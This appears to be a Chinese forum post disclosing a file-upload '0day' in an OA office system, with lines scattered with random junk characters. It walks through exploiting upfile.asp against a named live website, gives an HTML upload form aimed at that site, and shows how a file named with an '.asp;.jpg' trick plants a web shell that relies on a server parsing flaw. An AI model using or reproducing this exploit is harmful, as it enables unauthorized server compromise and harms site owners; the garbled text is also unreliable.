全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
: v- ]9 G4 v+ f' x8 N: @  l4 m
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
公司通告
工作计划
1 x! k1 g/ t$ d& P1 Z: i通讯助理
4 F4 d2 j7 {1 u" J客户资源
我的公文
; R& N8 _  h: V. n7 r公文传阅
公共资源
6 D' i8 F  j: w资源预约
8 W' y1 r5 O  c. c$ C0 c6 x6 \% `# V' ]& z今日考勤
# V- {! d) h9 n& {# O( ]+ _5 h个人计划
& U! k2 ^1 a! j* b, L+ {; K个人通讯录
个人基本档案
未读邮件
8 a" b7 v# g! N发邮件
收件夹
  T/ `/ T* ^* M2 O  v( E寄件夹
; V4 ]% V/ [/ P5 ]8 Z网络硬盘
$ j" A; [0 M! J' o网络会议
( `6 J% m; G  B/ X  g3 {; L7 d* s网络调查
交流论坛
6 q  z! B( E& `7 q
有兴趣测试的朋友可以下源码看看
4 [# @* ?$ Y# D- @6 F7 q
  [2 m& D; b. g! q9 y- f源码下载：
  r6 F0 }5 g. c/ \" G& ^
0 @$ s4 g7 |9 ~5 ~" Mhttp://www.mycodes.net/30/4750.htm

$ b8 ~: |4 u/ @漏洞介绍：
" c% J3 ?4 B1 e- w" |
由upfile.asp上传文件漏洞引起

测试方法：

' N( r" w) K, v4 f- X$ [3 i6 m使用名小子上传http://www.itlynn.com/upfile.asp即可
8 X; b* C; N9 Z# F* H
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
! {) |! u& H3 l3 |6 I9 V
( A' N* \6 N1 v( D( e& m& h如果存在那么将如下代码保存为upfile.html。

+ p0 P: z4 {+ m/ r; x然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
/ j; k  c3 ~  J( A

; q& ~2 T7 ?/ y3 K9 O" }3 L
01 <table border='0' align="center" cellpadding="5">

4 h  ]& f7 Q/ [3 j02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
) B& M4 _0 {" `* s0 j1 R
04             <td>报错：</td>
. J9 D9 `3 L, n$ F2 T* ?4 _$ ^$ B
05             <td><input type='radio' name='errnumber' value='0'>
" B+ W( ?) s  D7 W5 Y! M: _
, a, F3 r# P+ J+ b) d06               自动更名

" _7 m" N6 K" W! F$ E0 n; u4 d07               <input type='radio' name='errnumber' value='1' checked>
! W6 K; \& ~# u8 f& \
08               报错方式
# ^4 D- A# u- x, ?; p3 \
09               <input type='radio' name='errnumber' value='2'>
4 h0 E7 ?2 ^& X; k" n8 K4 a; o8 E
10               直接覆盖</td>

11           </tr>

12           <tr>
( }, q. g% c; D  {. q' b' M8 ?6 C
13             <td>主题：</td>

' k% t( o0 L. {3 N6 K. `7 j14             <td><input type='text' name='filename' size='30'></td>
2 J) _% T3 d' @1 Y& @" W
15           </tr>

) F$ Z) b& n/ x7 T7 n5 @16           <tr>
' }* n  L" g: P2 F# f% e
17             <td>文件：</td>

5 D# a0 W3 |; L6 M& h. v, y18             <td><input type="file"name="fruit"size="30"></td>

+ g$ H6 p" e( Z* `! p19           </tr>
' A6 u, O1 |4 R( s+ b' |% f7 T
( Z8 W9 k) o8 i* d) J0 ~20           <tr>

21             <td valign='top'>简介：</td>
5 l/ u* ^- I2 }+ `. }
0 [5 \% J* _8 \& {( {2 `# o22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
1 B1 d9 ]( }$ v% s2 E1 s2 r: ?
* M& m9 _4 D- c/ y9 I23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
' u; j! w( c/ j4 o9 v' r- W
4 l. ]9 j. E& x, Q$ b8 o" m26           </tr>
; l0 N2 ]  V& n. E
27         </form>

- X' }7 u: [7 }6 k( ~7 ]6 o然后打开上传一个文件名为xo.asp;ox.jpg的文件。



& O! v8 F+ @$ v  j1 b8 K7 {8 S上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
' E& b, ~+ t1 [  X